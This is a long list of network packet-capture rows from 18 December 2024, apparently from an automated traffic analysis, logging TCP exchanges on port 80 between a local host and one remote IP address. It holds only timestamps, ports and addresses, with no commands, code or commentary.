                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.942651033 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.942786932 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.943756104 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.943811893 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.943882942 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.943932056 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.944941044 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.945063114 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.945992947 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:42.946005106 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.000180006 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.076844931 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.076910019 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.077045918 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.077337980 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.077476978 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.077528954 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.078155041 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.078212023 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.078655958 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.079286098 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.079371929 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.079639912 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.080447912 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.080600023 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.080682993 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.081552029 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.081680059 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.081731081 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.082720995 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.082829952 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.082878113 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.083880901 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.083966970 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.084383011 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.085052967 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.085156918 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.085207939 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.086188078 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.086314917 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.087104082 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.087357044 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.087430000 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.087485075 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.088474989 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.088588953 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.088633060 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.089617014 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.089783907 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.089838982 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.090749979 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.090874910 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.090956926 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.091948032 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.092058897 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.092107058 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.093091011 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.093183041 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.093265057 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.094207048 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.094320059 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.094432116 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.095383883 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.095552921 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.095665932 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.096560001 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.096787930 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.096848011 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.097714901 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.097846031 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.097902060 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.098860025 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.098970890 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.099471092 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.100083113 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.100270987 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.100320101 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.101133108 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.101279974 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.101932049 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.102293968 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.102411985 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.102459908 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.103538990 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.103575945 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.104154110 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.104614973 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.104676962 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.104744911 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.105776072 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.105839014 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.105892897 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.106909037 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.107038975 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.107089996 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.108081102 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.108195066 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.108347893 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.109237909 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.109292984 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.109349966 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.110368013 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.110498905 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.110785961 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.111598969 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.111654997 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.111716986 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.112674952 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.112732887 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.113181114 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.114011049 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.114211082 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.114362955 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.114991903 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.115102053 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.115461111 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.116193056 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.116333961 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.116389990 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.117388964 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.117449999 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.117594004 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.118530989 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.118635893 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.118690968 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.119566917 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.119657040 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.119898081 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.120788097 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.120974064 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.121059895 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.121896982 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.122019053 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.122145891 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.123034954 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.123169899 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.123231888 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.124214888 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.124362946 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.124409914 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.125369072 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.125577927 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.125689983 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.126463890 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.126569986 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.126806021 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.127649069 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.127702951 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.127765894 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.128777027 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.128896952 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.128971100 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.130039930 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.130055904 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.130129099 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.131299973 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.131417990 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.131458998 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.132240057 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.132325888 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.132363081 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.133384943 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.133409977 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.133862019 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.134589911 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.134788036 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.134829998 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.135665894 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.135809898 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.135849953 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.136863947 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.187676907 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.268003941 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.268131971 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.268250942 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.268439054 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.268558025 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.268666983 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.269642115 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.269849062 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.269906044 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.270806074 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.270915985 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.271035910 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.271898031 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.272145987 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.272181988 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.273035049 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.273153067 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.273202896 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.274197102 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.274317980 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.275068998 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.275367975 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.275474072 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.275528908 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.276523113 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.276750088 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.277000904 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.277632952 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.277832031 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.277873993 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.278888941 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.279028893 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.279136896 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.280095100 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.280214071 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.280407906 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.281310081 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.281481981 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.281578064 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.282257080 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.282355070 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.282515049 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.283418894 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.283739090 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.283795118 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.284606934 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.284749985 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.284794092 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.285705090 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.285808086 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.285851002 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.286891937 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.287018061 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.287065983 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.288067102 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.288245916 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.289231062 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.289279938 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.289333105 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.289374113 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.290373087 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.290491104 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.290539026 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.291465044 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.291558981 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.292668104 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.292721033 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.292784929 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.292828083 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.293798923 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.293911934 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.294064045 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.294922113 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.295118093 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.295185089 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.296082020 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.296180964 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.296308041 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.297326088 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.297343969 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.297398090 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.298446894 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.298549891 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.299077034 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.299947023 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.300045013 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.300091982 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.300832033 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.300915003 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.300954103 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.301861048 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.301965952 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.302087069 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.303009033 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.303090096 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.303376913 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.304142952 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.304244041 CET804980784.200.24.191192.168.2.5
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.304486990 CET4980780192.168.2.584.200.24.191
                                                                                                                                                                                                                                                                Dec 18, 2024 11:04:43.305286884 CET804980784.200.24.191192.168.2.5
